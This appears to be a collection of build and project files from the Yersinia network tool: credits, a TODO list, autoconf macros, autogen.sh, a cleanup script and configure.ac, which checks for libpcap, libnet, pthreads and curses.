Andrew Vladimirov and colleagues:
For their support and for making a 1337 book "Hacking Cisco Exposed".
Web page artist:
Mikel Enrique <menrique@s21sec.com>
Patch submitters:
Alejandro Sanchez Acosta <asanchez@gnu.org>
Enigma Obfuscate <enigma@snowcrash.htbk.net>
Andrej Frank <anfrit00@fht-esslingen.de>
Additional documentation:
Tarek Amr, AKA gr33ndata <tarekamr@gmail.com> (http://gr33ndata.blogspot.com/)
================================================
FILE: TODO
================================================
- Verify that when deleting a node, the field user is decremented if the
interface was used by that node.
- VMPS attacks. Hey, we don't have VMPS in any of our little 29xx switches :(
- Take into account the Trailers Ethernet field.
- Use backspace in ncurses string fields.
- Keep aware of 802.1Q packets with more than 1500 bytes long.
- ISL attacks. Again, we don't have ISL in any of our little 29xx switches :(
- Full ISL support
- Fix a weird bug in CDP mode
- Use TLVs with a linked list. :)
- Normalize *FOR ALL PROTOCOLS* the way IPv4 addresses are stored in the tmp_data structure.
- Move all ARP functions to arp.c
- VRRP support
- Lateral scroll in ncurses when asking for pcap file
- Update show interface information
- Escape when asking for something in ncurses
- Remove global tty_tmp
- PCAP save from multiple interfaces
- A true man page!!!!
GUI
---
- Manage SIGWINCH
- GTK GUI
================================================
FILE: acinclude.m4
================================================
dnl
dnl Copyright (c) 1995, 1996, 1997, 1998
dnl The Regents of the University of California. All rights reserved.
dnl
dnl Redistribution and use in source and binary forms, with or without
dnl modification, are permitted provided that: (1) source code distributions
dnl retain the above copyright notice and this paragraph in its entirety, (2)
dnl distributions including binary code include the above copyright notice and
dnl this paragraph in its entirety in the documentation or other materials
dnl provided with the distribution, and (3) all advertising materials mentioning
dnl features or use of this software display the following acknowledgement:
dnl ``This product includes software developed by the University of California,
dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
dnl the University nor the names of its contributors may be used to endorse
dnl or promote products derived from this software without specific prior
dnl written permission.
dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
dnl
dnl LBL autoconf macros
dnl
dnl
dnl Checks to see if unaligned memory accesses fail
dnl
dnl usage:
dnl
dnl AC_LBL_UNALIGNED_ACCESS
dnl
dnl results:
dnl
dnl LBL_ALIGN (DEFINED)
dnl
AC_DEFUN([AC_LBL_UNALIGNED_ACCESS],
[AC_MSG_CHECKING(if unaligned accesses fail)
AC_CACHE_VAL(ac_cv_lbl_unaligned_fail,
[case "$host_cpu" in
#
# These are CPU types where:
#
# the CPU faults on an unaligned access, but at least some
# OSes that support that CPU catch the fault and simulate
# the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) -
# the simulation is slow, so we don't want to use it;
#
# the CPU, I infer (from the old
#
# XXX: should also check that they don't do weird things (like on arm)
#
# comment) doesn't fault on unaligned accesses, but doesn't
# do a normal unaligned fetch, either (e.g., presumably, ARM);
#
# for whatever reason, the test program doesn't work
# (this has been claimed to be the case for several of those
# CPUs - I don't know what the problem is; the problem
# was reported as "the test program dumps core" for SuperH,
# but that's what the test program is *supposed* to do -
# it dumps core before it writes anything, so the test
# for an empty output file should find an empty output
# file and conclude that unaligned accesses don't work).
#
# This run-time test won't work if you're cross-compiling, so
# in order to support cross-compiling for a particular CPU,
# we have to wire in the list of CPU types anyway, as far as
# I know, so perhaps we should just have a set of CPUs on
# which we know it doesn't work, a set of CPUs on which we
# know it does work, and have the script just fail on other
# cpu types and update it when such a failure occurs.
#
alpha*|arm*|bfin*|hp*|mips*|sh*|sparc*|ia64|nv1)
ac_cv_lbl_unaligned_fail=yes
;;
*)
cat >conftest.c <<EOF
# include <sys/types.h>
# include <sys/wait.h>
# include <stdio.h>
# include <stdlib.h>
# include <unistd.h>
unsigned char a[[5]] = { 1, 2, 3, 4, 5 };
int main(void) {
unsigned int i;
pid_t pid;
int status;
/* avoid "core dumped" message */
pid = fork();
if (pid < 0)
exit(2);
if (pid > 0) {
/* parent */
pid = waitpid(pid, &status, 0);
if (pid < 0)
exit(3);
exit(!WIFEXITED(status));
}
/* child */
i = *(unsigned int *)&a[[1]];
printf("%d\n", i);
exit(0);
}
EOF
${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
conftest.c $LIBS >/dev/null 2>&1
if test ! -x conftest ; then
dnl failed to compile for some reason
ac_cv_lbl_unaligned_fail=yes
else
./conftest >conftest.out
if test ! -s conftest.out ; then
ac_cv_lbl_unaligned_fail=yes
else
ac_cv_lbl_unaligned_fail=no
fi
fi
rm -f -r conftest* core core.conftest
;;
esac])
AC_MSG_RESULT($ac_cv_lbl_unaligned_fail)
if test $ac_cv_lbl_unaligned_fail = yes ; then
AC_DEFINE(LBL_ALIGN,1,[if unaligned access fails])
fi])
================================================
FILE: autogen.sh
================================================
#!/bin/sh
# Run this to generate all the initial makefiles, etc.
srcdir=`dirname $0`
test -z "$srcdir" && srcdir=.
DIE=0
if [ -n "$GNOME2_DIR" ]; then
ACLOCAL_FLAGS="-I $GNOME2_DIR/share/aclocal $ACLOCAL_FLAGS"
LD_LIBRARY_PATH="$GNOME2_DIR/lib:$LD_LIBRARY_PATH"
PATH="$GNOME2_DIR/bin:$PATH"
export PATH
export LD_LIBRARY_PATH
fi
(test -f $srcdir/configure.ac) || {
echo -n "**Error**: Directory "\`$srcdir\'" does not look like the"
echo " top-level package directory"
exit 1
}
(autoconf --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`autoconf' installed."
echo "Download the appropriate package for your distribution,"
echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/"
DIE=1
}
(grep "^AC_PROG_INTLTOOL" $srcdir/configure.ac >/dev/null) && {
(intltoolize --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`intltool' installed."
echo "You can get it from:"
echo " ftp://ftp.gnome.org/pub/GNOME/"
DIE=1
}
}
(grep "^AM_PROG_XML_I18N_TOOLS" $srcdir/configure.ac >/dev/null) && {
(xml-i18n-toolize --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`xml-i18n-toolize' installed."
echo "You can get it from:"
echo " ftp://ftp.gnome.org/pub/GNOME/"
DIE=1
}
}
(grep "^AM_PROG_LIBTOOL" $srcdir/configure.ac >/dev/null) && {
(libtool --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`libtool' installed."
echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/"
DIE=1
}
}
(grep "^AM_GLIB_GNU_GETTEXT" $srcdir/configure.ac >/dev/null) && {
(grep "sed.*POTFILES" $srcdir/configure.ac) > /dev/null || \
(glib-gettextize --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`glib' installed."
echo "You can get it from: ftp://ftp.gtk.org/pub/gtk"
DIE=1
}
}
(automake --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: You must have \`automake' installed."
echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/"
DIE=1
NO_AUTOMAKE=yes
}
# if no automake, don't bother testing for aclocal
test -n "$NO_AUTOMAKE" || (aclocal --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "**Error**: Missing \`aclocal'. The version of \`automake'"
echo "installed doesn't appear recent enough."
echo "You can get automake from ftp://ftp.gnu.org/pub/gnu/"
DIE=1
}
if test "$DIE" -eq 1; then
exit 1
fi
if test -z "$*"; then
echo "**Warning**: I am going to run \`configure' with no arguments."
echo "If you wish to pass any to it, please specify them on the"
echo \`$0\'" command line."
echo
fi
case $CC in
xlc )
am_opt=--include-deps;;
esac
for coin in `find $srcdir -name configure.ac -print`
do
dr=`dirname $coin`
if test -f $dr/NO-AUTO-GEN; then
echo skipping $dr -- flagged as no auto-gen
else
echo processing $dr
( cd $dr
aclocalinclude="$ACLOCAL_FLAGS"
if grep "^AM_GLIB_GNU_GETTEXT" configure.ac >/dev/null; then
echo "Creating $dr/aclocal.m4 ..."
test -r $dr/aclocal.m4 || touch $dr/aclocal.m4
echo "Running glib-gettextize... Ignore non-fatal messages."
echo "no" | glib-gettextize --force --copy
echo "Making $dr/aclocal.m4 writable ..."
test -r $dr/aclocal.m4 && chmod u+w $dr/aclocal.m4
fi
if grep "^AC_PROG_INTLTOOL" configure.ac >/dev/null; then
echo "Running intltoolize..."
intltoolize --copy --force --automake
fi
if grep "^AM_PROG_XML_I18N_TOOLS" configure.ac >/dev/null; then
echo "Running xml-i18n-toolize..."
xml-i18n-toolize --copy --force --automake
fi
if grep "^AM_PROG_LIBTOOL" configure.ac >/dev/null; then
if test -z "$NO_LIBTOOLIZE" ; then
echo "Running libtoolize..."
libtoolize --force --copy
fi
fi
echo "Running aclocal $aclocalinclude ..."
aclocal $aclocalinclude
if grep "^AM_CONFIG_HEADER" configure.ac >/dev/null; then
echo "Running autoheader..."
autoheader
fi
echo "Running automake --gnu $am_opt ..."
automake --add-missing --gnu $am_opt
echo "Running autoconf ..."
autoconf
)
fi
done
#conf_flags="--enable-maintainer-mode"
if test x$NOCONFIGURE = x; then
echo Running $srcdir/configure $conf_flags "$@" ...
$srcdir/configure $conf_flags "$@" \
&& echo Now type \`make\' to compile. || exit 1
else
echo Skipping configure process.
fi
================================================
FILE: borra
================================================
#!/bin/sh
rm -f *~ configure config.cache config.log config.h config.h.in src/config.h src/config.h.in
rm -f config.status Makefile.in Makefile src/Makefile src/Makefile.in
rm -rf autom4te.cache src/*.tar src/*.tar.gz src/*.tar.Z src/*.o src/yersinia src/*~
================================================
FILE: configure.ac
================================================
dnl
dnl Process this file with autoconf to produce a configure script.
dnl
AC_INIT(yersinia, 0.8.2, yersinia@yersinia.net)
AC_CONFIG_SRCDIR([src/yersinia.c])
AM_CONFIG_HEADER(src/config.h)
AC_CANONICAL_TARGET([])
AM_INIT_AUTOMAKE
AC_PROG_CC
if test -n "$GCC"; then
CFLAGS="-Wall -Winvalid-source-encoding"
supports_invalid_encoding=no
AC_LANG_PUSH([C])
AC_SUBST(CFLAGS)
AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[int i=0;]])],
[supports_invalid_encoding=yes],
[supports_invalid_encoding=no] )
AC_LANG_POP([C])
if test $supports_invalid_encoding = yes; then
CFLAGS="-O3 -Wall -g -D_DEFAULT_SOURCE -Wno-conversion -Wno-invalid-source-encoding"
else
CFLAGS="-O3 -Wall -g -D_DEFAULT_SOURCE"
fi
else
AC_MSG_WARN(Ouch!! Only gcc variants are supported...)
AC_MSG_ERROR(...you're on your own.)
fi
AC_HEADER_STDC([])
AC_SUBST(CFLAGS)
AC_SUBST(CPPFLAGS)
AC_SUBST(LDFLAGS)
AC_PROG_INSTALL
AC_PATH_PROG(MAKEDEPEND, makedepend)
AC_LBL_UNALIGNED_ACCESS
dnl
dnl Check for libraries
dnl
AC_CHECK_LIB(socket,main)
AC_CHECK_LIB(resolv,main)
AC_CHECK_LIB(nsl,main)
AC_CHECK_LIB(rt,main)
dnl
dnl libpcap must be at least 0.8.x
dnl
AC_MSG_CHECKING(for a complete set of pcap headers)
possible_dirs="`eval echo -n ${includedir}` \
/usr/include /usr/include/pcap \
/usr/local/include /usr/local/include/pcap \
/usr/share/include /usr/share/include/pcap"
AC_ARG_WITH(pcap-includes,
[ --with-pcap-includes specify the pcap include directory],
[PCAP_DIR=$withval],
[PCAP_DIR=$possible_dirs])
pcap_dir=""
for dir in $PCAP_DIR ; do
if test -d $dir -a -r "$dir/pcap-bpf.h" ; then
if test -n "$pcap_dir" -a "$pcap_dir" != "$dir"; then
echo
echo; echo more than one set found in:
echo $pcap_dir
echo $dir
echo; echo please wipe out all unused pcap installations
exit
else
pcap_dir="$dir"
fi
fi
done
if test -z "$pcap_dir" ; then
echo no; echo !!! couldn\'t find a complete set of pcap headers
exit
else
echo found $pcap_dir
PCAP_INCLUDE="-I$pcap_dir"
PCAP_LINK="-L`dirname $pcap_dir`/lib"
AC_SUBST(PCAP_INCLUDE)
AC_SUBST(PCAP_LINK)
fi
if test "$PCAP_LINK" != "-L/usr/lib" ; then
LIBS="$LIBS $PCAP_LINK"
fi
if test "$PCAP_INCLUDE" != "-I/usr/include" ; then
CFLAGS="$CFLAGS $PCAP_INCLUDE"
fi
AC_CHECK_LIB(pcap, pcap_lib_version, have_libpcap=yes, have_libpcap=no)
if test $have_libpcap = no; then
AC_MSG_WARN(Ouch!! Libpcap (at least 0.8.x) library is needed in order to compile Yersinia!!...)
AC_MSG_ERROR(...i'm sure you'll take the right decision.)
fi
AH_TEMPLATE([HAVE_PCAP_DUMP_FLUSH], [pcap_dump_flush])
AC_CHECK_LIB(pcap, pcap_dump_flush,AC_DEFINE(HAVE_PCAP_DUMP_FLUSH))
dnl Check for BSD's BPF
disable_bpf=no
have_bpf=no
AC_MSG_CHECKING(for BPF device sending support)
AC_TRY_RUN([
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
int
main(int argc, char *argv[]) {
int fd;
fd = open("/dev/bpf0", O_RDONLY, 0);
/* if we opened it, we're good */
if (fd > 1)
exit(0);
/* if we got EBUSY or permission denied it exists, so we're good */
if (fd < 0 && (errno == EBUSY || errno == 13))
exit(0);
/* else suck, no good */
exit(-1);
}],
[
if test $disable_bpf = no ; then
AC_DEFINE([HAVE_BPF], [1],
[Do we have BPF device support?])
AC_MSG_RESULT(yes)
have_bpf=yes
else
AC_MSG_RESULT(no)
fi
])
dnl
dnl
dnl libnet must be at least 1.1.2
dnl
dnl
AC_MSG_CHECKING(for a complete set of libnet headers)
possible_dirs="`eval echo -n ${includedir}` \
/usr/include /usr/include/libnet \
/usr/local/include /usr/local/include/libnet \
/usr/share/include /usr/share/include/libnet"
possible_libnet_config_dirs="/usr /usr/local /opt"
AC_ARG_WITH(libnet-includes,
[ --with-libnet-includes specify the libnet include directory],
[LIBNET_DIR=$withval LIBNET_CONFIG_DIR=$withval],
[LIBNET_DIR=$possible_dirs LIBNET_CONFIG_DIR=$possible_libnet_config_dirs])
libnet_dir=""
for dir in $LIBNET_DIR ; do
if test -d $dir -a -r "$dir/libnet.h" ; then
if test -n "$libnet_dir" -a "$libnet_dir" != "$dir"; then
echo
echo; echo more than one set found in:
echo $libnet_dir
echo $dir
echo; echo please wipe out all unused libnet installations
exit
else
libnet_dir="$dir"
fi
fi
done
for dir in $LIBNET_CONFIG_DIR ; do
if test -d $dir -a -r "$dir/bin/libnet-config" ; then
libnet_config_dir="$dir/bin"
fi
done
if test -z "$libnet_dir" ; then
echo no; echo !!! couldn\'t find a complete set of libnet headers
exit
else
echo found $libnet_dir
dnl libnet headers are usually in /usr/include/libnet, so we need a ..
LIBNET_INCLUDE="-I$libnet_dir"
LIBNET_LINK="-L`dirname $libnet_dir`/lib"
LIBNET_CONFIG="$libnet_config_dir/libnet-config"
AC_SUBST(LIBNET_INCLUDE)
AC_SUBST(LIBNET_LINK)
AC_SUBST(LIBNET_CONFIG)
fi
if test "$LIBNET_LINK" != "-L/usr/lib" ; then
LIBS="$LIBS $LIBNET_LINK"
fi
if test "$LIBNET_INCLUDE" != "-I/usr/include" ; then
CFLAGS="$CFLAGS $LIBNET_INCLUDE"
fi
AC_CHECK_LIB(net, libnet_build_stp_conf, have_libnet=yes, have_libnet=no)
if test $have_libnet = no; then
AC_MSG_WARN(Ouch!! Libnet library 1.1.2 is needed in order to compile Yersinia!!...)
AC_MSG_ERROR(...i'm sure you'll take the right decision.)
fi
dnl AC_CHECK_HEADERS(libnet.h, have_libnet=yes,have_libnet=no)
dnl if test $have_libnet = no; then
dnl AC_MSG_WARN(Ouch!! You need to install the libnet.h file in order to compile Yersinia!!...)
dnl AC_MSG_ERROR(...i'm sure you'll take the right decision.)
dnl fi
AC_MSG_CHECKING(if libnet is at least version 1.1.2)
AC_TRY_RUN([
#include <stdlib.h>
#include <stdio.h>
#include <libnet.h>
#define HOPE_MAJOR 1
#define HOPE_MEDIUM 1
#define HOPE_MINOR 2
int main(void)
{
unsigned int major,medium,minor,current, desired;
desired = HOPE_MAJOR*10000 + HOPE_MEDIUM*100 + HOPE_MINOR;
sscanf( LIBNET_VERSION, "%d.%d.%d", &major, &medium, &minor);
current = major*10000 + medium*100 + minor;
if ( current >= desired )
exit(0);
exit(1);
}],
[AC_MSG_RESULT(yes); have_libnet=yes],
[AC_MSG_RESULT(no); have_libnet=no],
[AC_MSG_RESULT(no); have_libnet=no])
if test $have_libnet = no; then
AC_MSG_WARN(Ouch!! At least Libnet library version 1.1.2 is needed in order to compile Yersinia!!...)
AC_MSG_ERROR(...i'm sure you'll take the right decision.)
fi
dnl
dnl Check headers
dnl
AC_CHECK_HEADERS(sys/sockio.h sys/ioctl.h net/if.h,,,
[[
#if HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
]])
AC_CHECK_HEADERS(bstring.h sys/time.h sys/param.h netinet/in_systm.h inttypes.h)
AC_CHECK_HEADERS(netinet/in_system.h sys/wait.h)
AC_HEADER_TIME
AC_C_BIGENDIAN
dnl
dnl sockaddr sa_len?
dnl
AH_TEMPLATE([HAVE_SOCKADDR_SA_LEN], [have sockaddr_sa_len])
AC_MSG_CHECKING([if struct sockaddr has sa_len field])
AC_TRY_COMPILE([#include <sys/types.h>
#include <sys/socket.h>],
[struct sockaddr sa; sa.sa_len;],
[AC_MSG_RESULT(yes); AC_DEFINE(HAVE_SOCKADDR_SA_LEN)],
[AC_MSG_RESULT(no);]
)
AH_TEMPLATE([PTHREAD_NEED_TESTCANCEL], [pthread need testcancel])
AH_TEMPLATE([STRANGE_BSD_BYTE], [strange bsd byte])
AH_TEMPLATE([HPUX], [HP-UX System])
AH_TEMPLATE([DARWIN], [Darwin System])
AH_TEMPLATE([OPENBSD], [OpenBSD System])
AH_TEMPLATE([NETBSD], [NetBSD System])
AH_TEMPLATE([FREEBSD], [FreeBSD System])
AH_TEMPLATE([SOLARIS_251], [Solaris 2.51 System])
AH_TEMPLATE([SOLARIS_26], [Solaris 2.6 System])
AH_TEMPLATE([SOLARIS_27], [Solaris 2.7 System])
AH_TEMPLATE([SOLARIS_28], [Solaris 2.8 System])
AH_TEMPLATE([SOLARIS_29], [Solaris 2.9 System])
AH_TEMPLATE([SOLARIS], [Solaris System])
AH_TEMPLATE([LINUX], [Linux System])
AH_TEMPLATE([LINUX_20], [Linux 2.0 System])
AH_TEMPLATE([LINUX_21], [Linux 2.1 System])
AH_TEMPLATE([LINUX_22], [Linux 2.2 System])
AH_TEMPLATE([LINUX_23], [Linux 2.3 System])
AH_TEMPLATE([LINUX_24], [Linux 2.4 System])
AH_TEMPLATE([LINUX_25], [Linux 2.5 System])
AH_TEMPLATE([LINUX_26], [Linux 2.6 System])
AH_TEMPLATE([NEED_USLEEP], [System need DoS timeout])
case "$target_os" in
*linux*)
AC_DEFINE(LINUX)
AC_DEFINE(PTHREAD_NEED_TESTCANCEL)
case "`uname -r`" in
2.6*)
AC_DEFINE(LINUX_26)
;;
2.5*)
AC_DEFINE(LINUX_25)
;;
2.4*)
AC_DEFINE(LINUX_24)
;;
2.3*)
AC_DEFINE(LINUX_23)
;;
2.2*)
AC_DEFINE(LINUX_22)
;;
2.1*)
AC_DEFINE(LINUX_21)
;;
2.0*)
AC_DEFINE(LINUX_20)
;;
esac
;;
*solaris*)
AC_DEFINE(SOLARIS)
case "`uname -r`" in
5.5.1)
AC_DEFINE(SOLARIS_251)
;;
5.6*)
AC_DEFINE(SOLARIS_26)
;;
5.7*)
AC_DEFINE(SOLARIS_27)
;;
5.8*)
AC_DEFINE(SOLARIS_27)
;;
5.9*)
AC_DEFINE(SOLARIS_27)
;;
esac
;;
*freebsd*)
AC_DEFINE(FREEBSD)
AC_DEFINE(STRANGE_BSD_BYTE)
AC_DEFINE(NEED_USLEEP)
;;
*netbsd*)
AC_DEFINE(NETBSD)
AC_DEFINE(STRANGE_BSD_BYTE)
AC_DEFINE(NEED_USLEEP)
;;
*openbsd*)
AC_DEFINE(OPENBSD)
AC_DEFINE(NEED_USLEEP)
case "`uname -r`" in
1.*)
AC_DEFINE(STRANGE_BSD_BYTE)
;;
2.0*)
AC_DEFINE(STRANGE_BSD_BYTE)
;;
2.*)
;;
*)
AC_DEFINE(STRANGE_BSD_BYTE)
;;
esac
;;
*hpux*)
AC_DEFINE(HPUX)
;;
*darwin*)
AC_DEFINE(DARWIN)
;;
*)
AC_MSG_WARN(it seems that your OS is not supported)
AC_MSG_WARN(and this may cause troubles)
AC_MSG_WARN(please send bugs and diffs to yersinia@iwasnot.org)
;;
esac
dnl
dnl Check for library functions
dnl
AC_CHECK_FUNCS(memcpy memset pthread_setconcurrency strerror strtok_r rand_r)
AC_CHECK_FUNCS(calloc_r malloc_r free_r ctime_r nanosleep)
AC_CHECK_FUNCS(strerror_r, have_strerror_r=yes,have_strerror_r=no)
if test $have_strerror_r = yes; then
AC_MSG_CHECKING(if strerror_r is on glibc version >= 2.0)
AC_TRY_RUN([
#include <stdlib.h>
#include <features.h>
int main(void)
{
#if defined(__GLIBC__) && __GLIBC__ >= 2 && __GLIBC_MINOR__ >= 0
exit(0);
#else
exit(1);
#endif
}],
[AC_MSG_RESULT(yes); have_glibc=yes],
[AC_MSG_RESULT(no); have_glibc=no],
[AC_MSG_RESULT(no); have_glibc=no])
AH_TEMPLATE([HAVE_GLIBC_STRERROR_R], [have glibc strerror_r])
if test $have_glibc = yes; then
AC_DEFINE(HAVE_GLIBC_STRERROR_R)
fi
fi
dnl
dnl Check for pthreads
dnl
AC_CHECK_HEADERS(semaphore.h)
AC_CHECK_HEADERS(sched.h sys/sched.h)
AC_CHECK_HEADERS(pthread.h)
AC_CHECK_LIB(pthread, pthread_create, , [
AC_CHECK_LIB(pthreads, pthread_create, , [
AC_CHECK_LIB(c_r, pthread_create)
])
])
AC_MSG_CHECKING([for pthreads support])
if test ".${ac_cv_header_pthread_h}" != ".yes" ||
(test ".${ac_cv_lib_pthread_pthread_create}" != ".yes" &&
test ".${ac_cv_lib_pthreads_pthread_create}" != ".yes" &&
test ".${ac_cv_lib_c_r_pthread_create}" != ".yes"); then
AC_MSG_RESULT(error)
AC_MSG_WARN(error)
AC_MSG_WARN(***********************************************)
AC_MSG_WARN(* PTHREADS is NOT available on your system !! *)
AC_MSG_WARN(***********************************************)
else
AC_MSG_RESULT(ok)
fi
dnl
dnl Check for remote admin
dnl
AC_ARG_ENABLE(admin, [ --disable-admin disable remote admin interface],,enable_admin=true)
AH_TEMPLATE([HAVE_REMOTE_ADMIN], [remote admin support])
AM_CONDITIONAL(HAVE_REMOTE_ADMIN, test $enable_admin = true)
if test "$enable_admin" = "true"; then
AC_DEFINE(HAVE_REMOTE_ADMIN)
fi
dnl Curses detection: Munged from Midnight Commander's configure.in
dnl
dnl What it does:
dnl =============
dnl
dnl - Determine which version of curses is installed on your system
dnl and set the -I/-L/-l compiler entries and add a few preprocessor
dnl symbols
dnl - Do an AC_SUBST on the CURSES_INCLUDEDIR and CURSES_LIBS so that
dnl @CURSES_INCLUDEDIR@ and @CURSES_LIBS@ will be available in
dnl Makefile.in's
dnl - Modify the following configure variables (these are the only
dnl curses.m4 variables you can access from within configure.in)
dnl CURSES_INCLUDEDIR - contains -I's and possibly -DRENAMED_CURSES if
dnl an ncurses.h that's been renamed to curses.h
dnl is found.
dnl CURSES_LIBS - sets -L and -l's appropriately
dnl CFLAGS - if --with-sco, add -D_SVID3
dnl has_curses - exports result of tests to rest of configure
dnl
dnl Usage:
dnl ======
dnl 1) Add lines indicated below to acconfig.h
dnl 2) call AC_CHECK_CURSES after AC_PROG_CC in your configure.in
dnl 3) Instead of #include <curses.h> you should use the following to
dnl properly locate ncurses or curses header file
dnl
dnl #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES)
dnl #include <ncurses.h>
dnl #else
dnl #include <curses.h>
dnl #endif
dnl
dnl 4) Make sure to add @CURSES_INCLUDEDIR@ to your preprocessor flags
dnl 5) Make sure to add @CURSES_LIBS@ to your linker flags or LIBS
dnl
dnl Notes with automake:
dnl - call AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true) from
dnl configure.in
dnl - your Makefile.am can look something like this
dnl -----------------------------------------------
dnl INCLUDES= blah blah blah $(CURSES_INCLUDEDIR)
dnl if HAS_CURSES
dnl CURSES_TARGETS=name_of_curses_prog
dnl endif
dnl bin_PROGRAMS = other_programs $(CURSES_TARGETS)
dnl other_programs_SOURCES = blah blah blah
dnl name_of_curses_prog_SOURCES = blah blah blah
dnl other_programs_LDADD = blah
dnl name_of_curses_prog_LDADD = blah $(CURSES_LIBS)
dnl -----------------------------------------------
dnl
dnl
dnl The following lines should be added to acconfig.h:
dnl ==================================================
dnl
dnl /*=== Curses version detection defines ===*/
dnl /* Found some version of curses that we're going to use */
dnl #undef HAS_CURSES
dnl
dnl /* Use SunOS SysV curses? */
dnl #undef USE_SUNOS_CURSES
dnl
dnl /* Use old BSD curses - not used right now */
dnl #undef USE_BSD_CURSES
dnl
dnl /* Use SystemV curses? */
dnl #undef USE_SYSV_CURSES
dnl
dnl /* Use Ncurses? */
dnl #undef USE_NCURSES
dnl
dnl /* If you Curses does not have color define this one */
dnl #undef NO_COLOR_CURSES
dnl
dnl /* Define if you want to turn on SCO-specific code */
dnl #undef SCO_FLAVOR
dnl
dnl /* Set to reflect version of ncurses *
dnl * 0 = version 1.*
dnl * 1 = version 1.9.9g
dnl * 2 = version 4.0/4.1 */
dnl #undef NCURSES_970530
dnl
dnl /*=== End new stuff for acconfig.h ===*/
dnl
AH_TEMPLATE([HAS_CURSES], [curses supported])
AH_TEMPLATE([USE_SUNOS_CURSES], [SunOS curses])
AH_TEMPLATE([USE_BSD_CURSES], [BSD curses])
AH_TEMPLATE([USE_SYSV_CURSES], [SysV curses])
AH_TEMPLATE([USE_NCURSES], [ncurses])
AH_TEMPLATE([NO_COLOR_CURSES], [no color supported])
AH_TEMPLATE([SCO_FLAVOR], [SCO code])
AH_TEMPLATE([NCURSES_970530], [ncurses version])
AC_DEFUN([AC_CHECK_CURSES],[
search_ncurses=true
screen_manager=""
has_curses=false
CFLAGS=${CFLAGS--O}
AC_SUBST(CURSES_LIBS)
AC_SUBST(CURSES_INCLUDEDIR)
AC_ARG_WITH(sco,
[ --with-sco Use this to turn on SCO-specific code],[
if test x$withval = xyes; then
AC_DEFINE(SCO_FLAVOR)
CFLAGS="$CFLAGS -D_SVID3"
fi
])
AC_ARG_WITH(sunos-curses,
[ --with-sunos-curses Used to force SunOS 4.x curses],[
if test x$withval = xyes; then
AC_USE_SUNOS_CURSES
fi
])
AC_ARG_WITH(osf1-curses,
[ --with-osf1-curses Used to force OSF/1 curses],[
if test x$withval = xyes; then
AC_USE_OSF1_CURSES
fi
])
AC_ARG_WITH(vcurses,
[ --with-vcurses[=incdir] Used to force SysV curses],
if test x$withval != xyes; then
CURSES_INCLUDEDIR="-I$withval"
fi
AC_USE_SYSV_CURSES
)
AC_ARG_WITH(ncurses,
[ --with-ncurses[=dir] Compile with ncurses/locate base dir],
if test x$withval = xno ; then
search_ncurses=false
elif test x$withval != xyes ; then
CURSES_LIBS="$LIBS -L$withval/lib -lncurses"
CURSES_INCLUDEDIR="-I$withval/include"
search_ncurses=false
screen_manager="ncurses"
AC_DEFINE(USE_NCURSES)
AC_DEFINE(HAS_CURSES)
has_curses=true
fi
)
if $search_ncurses
then
AC_SEARCH_NCURSES()
fi
])
AC_DEFUN([AC_USE_SUNOS_CURSES], [
search_ncurses=false
screen_manager="SunOS 4.x /usr/5include curses"
AC_MSG_RESULT(Using SunOS 4.x /usr/5include curses)
AC_DEFINE(USE_SUNOS_CURSES)
AC_DEFINE(HAS_CURSES)
has_curses=true
AC_DEFINE(NO_COLOR_CURSES)
AC_DEFINE(USE_SYSV_CURSES)
CURSES_INCLUDEDIR="-I/usr/5include"
CURSES_LIBS="/usr/5lib/libcurses.a /usr/5lib/libtermcap.a"
AC_MSG_RESULT(Please note that some screen refreshs may fail)
])
AC_DEFUN([AC_USE_OSF1_CURSES], [
AC_MSG_RESULT(Using OSF1 curses)
search_ncurses=false
screen_manager="OSF1 curses"
AC_DEFINE(HAS_CURSES)
has_curses=true
AC_DEFINE(NO_COLOR_CURSES)
AC_DEFINE(USE_SYSV_CURSES)
CURSES_LIBS="-lcurses"
])
AC_DEFUN([AC_USE_SYSV_CURSES], [
AC_MSG_RESULT(Using SysV curses)
AC_DEFINE(HAS_CURSES)
has_curses=true
AC_DEFINE(USE_SYSV_CURSES)
search_ncurses=false
screen_manager="SysV/curses"
CURSES_LIBS="-lcurses"
])
dnl AC_ARG_WITH(bsd-curses,
dnl [--with-bsd-curses Used to compile with bsd curses, not very fancy],
dnl search_ncurses=false
dnl screen_manager="Ultrix/cursesX"
dnl if test $system = ULTRIX
dnl then
dnl THIS_CURSES=cursesX
dnl else
dnl THIS_CURSES=curses
dnl fi
dnl
dnl CURSES_LIBS="-l$THIS_CURSES -ltermcap"
dnl AC_DEFINE(HAS_CURSES)
dnl has_curses=true
dnl AC_DEFINE(USE_BSD_CURSES)
dnl AC_MSG_RESULT(Please note that some screen refreshs may fail)
dnl AC_WARN(Use of the bsdcurses extension has some)
dnl AC_WARN(display/input problems.)
dnl AC_WARN(Reconsider using xcurses)
dnl)
dnl
dnl Parameters: directory filename cureses_LIBS curses_INCLUDEDIR nicename
dnl
AC_DEFUN([AC_NCURSES], [
if $search_ncurses
then
if test -f $1/$2
then
AC_MSG_RESULT(Found ncurses on $1/$2)
CURSES_LIBS="$3"
CURSES_INCLUDEDIR="$4"
search_ncurses=false
screen_manager=$5
AC_DEFINE(HAS_CURSES)
has_curses=true
AC_DEFINE(USE_NCURSES)
fi
fi
])
